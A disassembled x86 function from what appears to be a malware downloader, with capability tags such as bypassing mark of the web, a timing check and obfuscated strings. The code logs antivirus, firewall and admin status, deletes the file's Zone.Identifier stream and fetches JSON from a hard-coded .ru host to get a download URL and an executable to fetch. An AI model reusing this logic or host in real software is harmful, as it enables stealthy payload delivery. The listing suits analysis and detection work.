Function at 0x43cb64
Capabilities:
Bypass mark of the web
Check for time delay via gettickcount
Contain obfuscated stackstrings
Create thread
Delete file
Parse pe header
Terminate process
Terminate thread

Disassembly:
push 0x294
mov eax, 0x4476f3
call fcn.0041cf6c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 3
mov dword [ebp - 0x134], eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x4381b9
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10c], esp
push str.started
call fcn.0040189b
call fcn.00431017
add esp, 0x1c
push 0x469388
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
xor esi, esi
inc esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 0x100
mov dword [0x469384], eax
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call fcn.004301c9
push ebx
lea eax, [ebp - 0x210]
push eax
push 0x4693a0
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x208], ebx
mov dword [ebp - 0x204], ebx
call sub.gdiplus.dll_GdiplusStartup
mov edi, 0x44df68
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], ebx
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.0044200b
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 1
mov dword [ebp - 0x10c], esp
push eax
push 0x4510a0
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 2
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.0044400a
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 3
mov dword [ebp - 0x10c], esp
push eax
push str.antivirus
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 4
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.00443fcb
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 5
mov dword [ebp - 0x10c], esp
push eax
push str.antispyware
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 6
mov ecx, esi
mov eax, esp
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.00443f8c
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 7
mov dword [ebp - 0x10c], esp
push eax
push str.firewall
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 8
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.004432fa
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 9
mov dword [ebp - 0x10c], esp
push eax
push str.video
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 0xa
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.00443f31
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x10c], esp
push eax
push str.memory
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 0xc
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.00441d6c
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x10c], esp
push eax
push str.harddisk
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push 1
lea ecx, [ebp - 0x1a0]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push ebx
push 1
call fcn.0040115a
push edi
lea esi, [ebp - 0x30]
call fcn.004018f6
sub esp, 0x1c
mov dword [ebp - 4], 0xe
mov eax, esp
mov ecx, esi
mov dword [ebp - 0x10c], esp
push ecx
push eax
call fcn.004427f5
pop ecx
pop ecx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00432ea4
add esp, 4
mov byte [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
push str.virtual
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x1a0]
call fcn.00401722
push ebx
push edi
call fcn.0040115a
xor eax, eax
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x38], ebx
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 4], 0x10
call fcn.004314d5
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x178]
call fcn.00431d53
mov edx, eax
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x11
call fcn.0043ff7d
sub esp, 0x10
mov ecx, esp
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x120], esp
push eax
push 0x4510f4
sub esp, 0x1c
mov dword [ebp - 0x120], esp
lea eax, [ebp - 0x4c]
mov esi, esp
push eax
mov dword [ebp - 0x120], ecx
call fcn.004010aa
lea eax, [ebp - 0x30]
push eax
call fcn.00432ea4
push eax
lea eax, [ebp - 0x1d0]
push str.tmp
push eax
mov byte [ebp - 4], 0x13
call fcn.0040712e
add esp, 0x2c
push eax
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp - 4], 0x14
call fcn.00407179
add esp, 0xc
push eax
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x120]
push eax
call fcn.004071d2
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x1a0]
call fcn.00401722
push ebx
push edi
lea ecx, [ebp - 0x1d0]
call fcn.00401722
push ebx
push edi
lea ecx, [ebp - 0x30]
call fcn.00401722
push ebx
push edi
lea ecx, [ebp - 0x1f4]
call fcn.00401722
push ebx
push edi
lea esi, [ebp - 0x178]
call fcn.0040115a
or dword [ebp - 4], 0xffffffff
push ebx
push edi
lea esi, [ebp - 0x4c]
call fcn.0040115a
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10c], esp
test eax, eax
je 0x43d0d8
push str.admintrue
jmp 0x43d0dd
push str.adminfalse
call fcn.0040189b
call fcn.00431017
lea eax, [ebp - 0x1f4]
add esp, 0x1c
push eax
call fcn.0043391a
mov dword [ebp - 4], 0x16
mov dword [esp], str.:Zone.Identifier
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.0040326b
add esp, 0xc
cmp dword [eax + 0x18], 8
jb 0x43d11f
mov edi, dword [eax + 4]
jmp 0x43d122
lea edi, [eax + 4]
push ebx
push 1
lea esi, [ebp - 0x178]
call fcn.0040115a
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea esi, [ebp - 0x1f4]
call fcn.0040115a
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x10c], esp
push edi
call fcn.004018f6
call fcn.004310ec
add esp, 0x1c
cmp al, bl
je 0x43d166
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x148
call fcn.0041b8c3
pop ecx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 4], 0x17
cmp eax, ebx
je 0x43d19a
push 0x4e20
push 0x1388
push eax
call fcn.0043fe76
mov dword [ebp - 0x114], eax
jmp 0x43d1a0
mov dword [ebp - 0x114], ebx
or dword [ebp - 4], 0xffffffff
push str.965e49065f683f77
lea ecx, [ebp - 0x4c]
call fcn.0040189b
push str.067c98449203f5d6
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0x18
call fcn.0040189b
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x19
call fcn.00434270
add esp, 0xc
mov edx, eax
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x1a
call fcn.0043f9c7
push ebx
push 1
lea ecx, [ebp - 0x178]
call fcn.00401722
push ebx
push 1
lea ecx, [ebp - 0x30]
call fcn.00401722
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.00401722
push ebx
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xb0], 0xf
call fcn.004017e9
push 0x461bd0
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x1f
call fcn.0040189b
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x20
call fcn.0043f9c7
push 0xffffffffffffffff
mov edi, 0x461f9c
push edi
xor ebx, ebx
mov byte [ebp - 4], 0x21
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push 1
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x1f
call fcn.00401722
lea eax, [ebp - 0x150]
push eax
call fcn.0043450e
mov esi, eax
mov byte [ebp - 4], 0x22
mov dword [esp], str.name
lea eax, [ebp - 0x1d0]
push edi
push eax
call fcn.0040326b
push esi
push eax
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp - 4], 0x23
call fcn.004032b1
push str.rnd
push eax
lea eax, [ebp - 0x1f4]
push eax
mov byte [ebp - 4], 0x24
call fcn.0040326b
lea ecx, [ebp - 0x104]
push ecx
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x25
call fcn.004032b1
add esp, 0x30
mov edi, dword [ebp - 0x114]
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0043faed
xor edi, edi
push ebx
inc edi
push edi
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1f4]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1a0]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1d0]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x150]
mov byte [ebp - 4], 0x1f
call fcn.0040115a
mov edi, dword [ebp - 0x114]
lea eax, [ebp - 0x4c]
push eax
call fcn.004413f1
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0x38], ebx
jne 0x43d4ed
push str.http:__forces.rustubegroup.ru_get_json_
lea ecx, [ebp - 0x1d0]
call fcn.0040189b
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x28
call fcn.0043f9c7
push 0xffffffffffffffff
mov edi, 0x461fb8
push edi
mov byte [ebp - 4], 0x29
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x150]
call fcn.0040115a
push ebx
push 1
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x27
call fcn.00401722
lea eax, [ebp - 0x1d0]
push eax
call fcn.0043450e
mov esi, eax
mov byte [ebp - 4], 0x2a
mov dword [esp], str.name
lea eax, [ebp - 0x1a0]
push edi
push eax
call fcn.0040326b
push esi
push eax
lea eax, [ebp - 0x1f4]
push eax
mov byte [ebp - 4], 0x2b
call fcn.004032b1
push str.rnd
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x2c
call fcn.0040326b
lea ecx, [ebp - 0x104]
push ecx
push eax
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 0x2d
call fcn.004032b1
add esp, 0x30
mov edi, dword [ebp - 0x114]
mov ecx, eax
mov byte [ebp - 4], 0x2e
call fcn.0043faed
xor edi, edi
push ebx
inc edi
push edi
lea esi, [ebp - 0x150]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1f4]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1a0]
call fcn.0040115a
mov byte [ebp - 4], 0x27
push ebx
push edi
lea esi, [ebp - 0x1d0]
call fcn.0040115a
mov edi, dword [ebp - 0x114]
lea eax, [ebp - 0x150]
push eax
call fcn.004413f1
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x2f
call fcn.0040150a
push ebx
push 1
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x27
call fcn.00401722
cmp dword [ebp - 0x38], ebx
jne 0x43d4e6
lea ecx, [ebp - 0x150]
mov eax, edi
call fcn.0043f978
sub esp, 0x1c
mov byte [ebp - 4], 0x30
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
push str.cant_get_info:
push ecx
call fcn.004032fc
add esp, 0xc
call fcn.0043667b
mov eax, 0x461fb8
jmp 0x43d4f2
mov eax, 0x461f9c
push 0xffffffffffffffff
push 0x461fd4
xor ebx, ebx
call fcn.004010d2
push str.ETag
lea esi, [ebp - 0x1d0]
call fcn.004018f6
mov ecx, dword [ebp - 0x114]
mov eax, esi
push eax
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 0x31
call fcn.004400d4
xor edi, edi
push edi
push 1
mov byte [ebp - 4], 0x33
call fcn.0040115a
cmp dword [ebp - 0x1c], edi
je 0x43d650
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x1a0]
call fcn.0043ff7d
push str.doM0b9lsEfwTznkEcOLYrFjZ5rhX2bhk
push eax
lea eax, [ebp - 0x1f4]
push eax
mov byte [ebp - 4], 0x34
call fcn.00407179
lea ecx, [ebp - 0x178]
push ecx
mov ecx, eax
mov byte [ebp - 4], 0x35
call fcn.00433776
add esp, 0x10
mov edx, eax
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x36
call fcn.0043f9c7
push 0xffffffffffffffff
mov edi, 0x461ff0
push edi
mov byte [ebp - 4], 0x37
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x150]
call fcn.0040115a
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x178]
call fcn.00401722
push ebx
push esi
lea ecx, [ebp - 0x1f4]
call fcn.00401722
push ebx
push esi
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x33
call fcn.00401722
mov edx, edi
lea ecx, [ebp - 0x1f4]
call fcn.0043ff7d
push eax
lea eax, [ebp - 0x178]
push 0x4511d8
push eax
mov byte [ebp - 4], 0x38
call fcn.0040712e
push 0x4511d4
push eax
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 0x39
call fcn.00407179
add esp, 0x18
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x3a
call fcn.0040150a
push ebx
push esi
lea ecx, [ebp - 0x150]
call fcn.00401722
push ebx
push esi
lea ecx, [ebp - 0x178]
call fcn.00401722
mov byte [ebp - 4], 0x33
push ebx
push esi
lea ecx, [ebp - 0x1f4]
call fcn.00401722
xor edi, edi
lea eax, [ebp - 0x178]
push eax
call fcn.004344a8
push eax
lea eax, [ebp - 0x150]
push str.guid
push eax
mov byte [ebp - 4], 0x3b
call fcn.0040712e
add esp, 0x10
push 0xffffffffffffffff
push edi
lea esi, [ebp - 0xc8]
mov byte [ebp - 4], 0x3c
call fcn.004078a7
push edi
push 1
lea ecx, [ebp - 0x150]
call fcn.00401722
push edi
push 1
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x33
call fcn.00401722
lea eax, [ebp - 0x2a0]
push eax
call fcn.00407ed7
sub esp, 0x1c
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x4c]
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
call fcn.0040141a
lea ecx, [ebp - 0x150]
call fcn.00441497
add esp, 0x1c
mov byte [ebp - 4], 0x3e
cmp dword [eax + 0x18], 0x10
jb 0x43d6e8
mov eax, dword [eax + 4]
jmp 0x43d6eb
add eax, 4
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.00408fb9
pop ecx
pop ecx
push edi
push 1
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x3d
call fcn.00401722
lea eax, [ebp - 0x6c]
push eax
call fcn.004091b1
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x2a0]
push eax
mov byte [ebp - 4], 0x40
call fcn.0040943c
pop ecx
pop ecx
push 0x44df68
lea esi, [ebp - 0x1a0]
mov dword [ebp - 4], 0x3f
call fcn.004018f6
xor eax, eax
mov byte [ebp - 4], 0x44
lea edi, [ebp - 0x10c]
stosb byte es:[edi], al
push dword [ebp - 0x10c]
lea eax, [ebp - 0x184]
push 0x451210
call fcn.00409480
mov eax, esi
push eax
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x45
call fcn.004094a6
push 0xffffffffffffffff
push 0x461f10
xor ebx, ebx
mov byte [ebp - 4], 0x46
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x150]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x184]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x1a0]
mov byte [ebp - 4], 0x3f
call fcn.0040115a
cmp dword [0x461f24], ebx
jne 0x43d7e4
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x10c], esp
push str.empty_download_url
call fcn.004018f6
jmp 0x43d4e1
xor eax, eax
lea edi, [ebp - 0x10c]
stosb byte es:[edi], al
push dword [ebp - 0x10c]
lea eax, [ebp - 0x15c]
push str.size
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x120], ebx
call fcn.00409480
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x15c]
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x47
call fcn.0040951c
push ebx
push 1
lea esi, [ebp - 0x15c]
mov dword [0x4692f0], eax
mov dword [0x4692f4], edx
mov byte [ebp - 4], 0x3f
call fcn.0040115a
push str.file.exe
lea esi, [ebp - 0x1a0]
call fcn.004018f6
xor eax, eax
mov byte [ebp - 4], 0x48
lea edi, [ebp - 0x10c]
stosb byte es:[edi], al
push dword [ebp - 0x10c]
lea eax, [ebp - 0x184]
push 0x44e138
call fcn.00409480
mov eax, esi
push eax
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x49
call fcn.004094a6
push 0xffffffffffffffff
push 0x461f2c
xor ebx, ebx
mov byte [ebp - 4], 0x4a
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x150]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x184]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x1a0]
mov byte [ebp - 4], 0x3f
call fcn.0040115a
xor eax, eax
lea edi, [ebp - 0x10c]
stosb byte es:[edi], al
push dword [ebp - 0x10c]
lea eax, [ebp - 0x200]
push str.fakefile
mov byte [ebp - 0x105], bl
call fcn.00409480
lea eax, [ebp - 0x200]
push eax
lea esi, [ebp - 0x126]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x4b
call fcn.0040a50c
cmp byte [eax], bl
je 0x43d91b
inc eax
jmp 0x43d921
lea eax, [ebp - 0x105]
mov al, byte [eax]
push ebx
push 1
lea esi, [ebp - 0x200]
mov byte [0x469468], al
mov byte [ebp - 4], 0x3f
call fcn.0040115a
cmp byte [0x469468], bl
je 0x43d964
cmp dword [0x4692f4], ebx
jg 0x43d964
jl 0x43d954
cmp dword [0x4692f0], ebx
ja 0x43d964
mov dword [0x4692f0], 0x47b760
mov dword [0x4692f4], ebx
call fcn.00409549
xor eax, eax
lea edi, [ebp - 0x10c]
stosb byte es:[edi], al
push dword [ebp - 0x10c]
lea eax, [ebp - 0x1ac]
push 0x451278
call fcn.00409480
lea edx, [ebp - 0x1ac]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x4c
call fcn.0040927a
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
call fcn.00409166
lea ecx, [ebp - 0x150]
call fcn.00434a1a
add esp, 0x20
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0xc8]
mov byte [ebp - 4], 0x4d
call fcn.004078a7
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x150]
call fcn.00401722
push ebx
push edi
lea esi, [ebp - 0x1ac]
call fcn.0040115a
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0x3d
call fcn.004091f4
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 0x33
call fcn.00407a13
push ebx
push edi
lea esi, [ebp - 0x30]
call fcn.0040115a
push ebx
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x1f
call fcn.00401722
mov edx, 0x461fd4
lea ecx, [ebp - 0x178]
call fcn.0043ff7d
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x4e
mov dword [ebp - 0x10c], esp
push eax
push str.url
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x1f
call fcn.00401722
mov edx, 0x461ff0
lea ecx, [ebp - 0x1f4]
call fcn.0043ff7d
sub esp, 0x1c
mov byte [ebp - 4], 0x4f
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
push 0x451290
push ecx
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x1f
call fcn.00401722
push ebx
push ebx
push ebx
push 0x43605b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x110]
push eax
mov dword [ebp - 0x110], 8
mov dword [ebp - 0x10c], 0xc000
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x134]
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0xe8]
push eax
call fcn.004091b1
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x50
call fcn.004095ba
pop ecx
mov esi, eax
mov eax, dword [ebp - 0x114]
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x51
call fcn.0043f9ac
push str.delay
push eax
lea eax, [ebp - 0x178]
push eax
mov byte [ebp - 4], 0x52
call fcn.0040326b
push esi
push eax
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 0x53
call fcn.004032b1
add esp, 0x18
push eax
mov eax, dword [ebp - 0x114]
mov byte [ebp - 4], 0x54
call fcn.0043fad8
push ebx
push edi
lea esi, [ebp - 0x150]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x178]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1f4]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x1a0]
mov byte [ebp - 4], 0x50
call fcn.0040115a
sub esp, 0x1c
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
call fcn.0040141a
lea ecx, [ebp - 0x150]
call fcn.0044156f
add esp, 0x1c
mov ecx, dword [ebp - 0x114]
push eax
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 0x55
call fcn.004411e2
push ebx
push edi
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x57
call fcn.00401722
cmp dword [ebp - 0x1c], ebx
jne 0x43dc1a
mov eax, dword [ebp - 0x114]
lea ecx, [ebp - 0x178]
call fcn.0043f978
sub esp, 0x1c
mov byte [ebp - 4], 0x58
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
push str.cant_get_form_data:
jmp 0x43d4d8
lea eax, [ebp - 0x2a0]
push eax
call fcn.00407ed7
sub esp, 0x1c
mov byte [ebp - 4], 0x59
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0x10c], esp
push eax
call fcn.0040141a
lea ecx, [ebp - 0x178]
call fcn.00441497
add esp, 0x1c
mov byte [ebp - 4], 0x5a
cmp dword [eax + 0x18], 0x10
jb 0x43dc5b
mov eax, dword [eax + 4]
jmp 0x43dc5e
add eax, 4
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.00408fb9
pop ecx
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x178]
call fcn.00401722
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x2a0]
push eax
mov byte [ebp - 4], 0x5b
call fcn.0040943c
pop ecx
pop ecx
push 0xffffffffffffffff
mov dword [ebp - 4], 0x59
push dword [0x469384]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x469384]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0xe8]
push eax
call fcn.0043a786
pop ecx
lea eax, [ebp - 0x2a0]
mov byte [ebp - 4], 0x57
call fcn.00407a13
push ebx
push edi
lea ecx, [ebp - 0x30]
call fcn.00401722
push ebx
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x34], 0xf
call fcn.004017e9
mov byte [ebp - 4], 0x5f
mov eax, dword [0x4694a0]
sub eax, dword [0x46949c]
push 0x24
cdq
pop ecx
idiv ecx
mov dword [ebp - 0x114], ebx
test eax, eax
jbe 0x43de0d
push dword [ebp - 0x114]
mov edi, 0x469490
mov esi, edi
mov dword [ebp - 0x128], ebx
call fcn.00407e0f
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, 0x108
idiv ecx
test eax, eax
jbe 0x43dde7
push dword [ebp - 0x128]
mov esi, edi
push dword [ebp - 0x114]
call fcn.00407e0f
mov esi, eax
add esi, 4
call fcn.00407d30
mov edx, eax
add edx, 0x70
lea ecx, [ebp - 0x178]
call fcn.0043ff7d
push 0x451304
push eax
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 0x60
call fcn.00407179
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0x4c]
mov byte [ebp - 4], 0x61
call fcn.004078a7
push ebx
push 1
lea ecx, [ebp - 0x150]
call fcn.00401722
push ebx
push 1
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x5f
call fcn.00401722
push dword [ebp - 0x114]
inc dword [ebp - 0x128]
mov esi, edi
call fcn.00407e0f
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, 0x108
idiv ecx
cmp dword [ebp - 0x128], eax
jb 0x43dd40
mov eax, dword [0x4694a0]
sub eax, dword [0x46949c]
push 0x24
cdq
pop ecx
idiv ecx
inc dword [ebp - 0x114]
cmp dword [ebp - 0x114], eax
jb 0x43dd0d
xor edi, edi
inc edi
mov ecx, dword [ebp - 0x38]
cmp ecx, ebx
je 0x43de3a
lea eax, [ecx - 1]
cmp eax, ecx
ja 0x43de28
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040149b
jmp 0x43de3a
push ebx
mov ebx, eax
sub ebx, ecx
lea edi, [ebp - 0x4c]
call fcn.00406fa8
xor edi, edi
xor ebx, ebx
inc edi
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x10c], esp
lea ecx, [ebp - 0x4c]
push ecx
push str.products
push eax
call fcn.0040712e
add esp, 0xc
call fcn.00431017
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x50
call fcn.00401722
mov eax, dword [0x469434]
push edi
call fcn.004302d2
call fcn.00430308
push ebx
push ebx
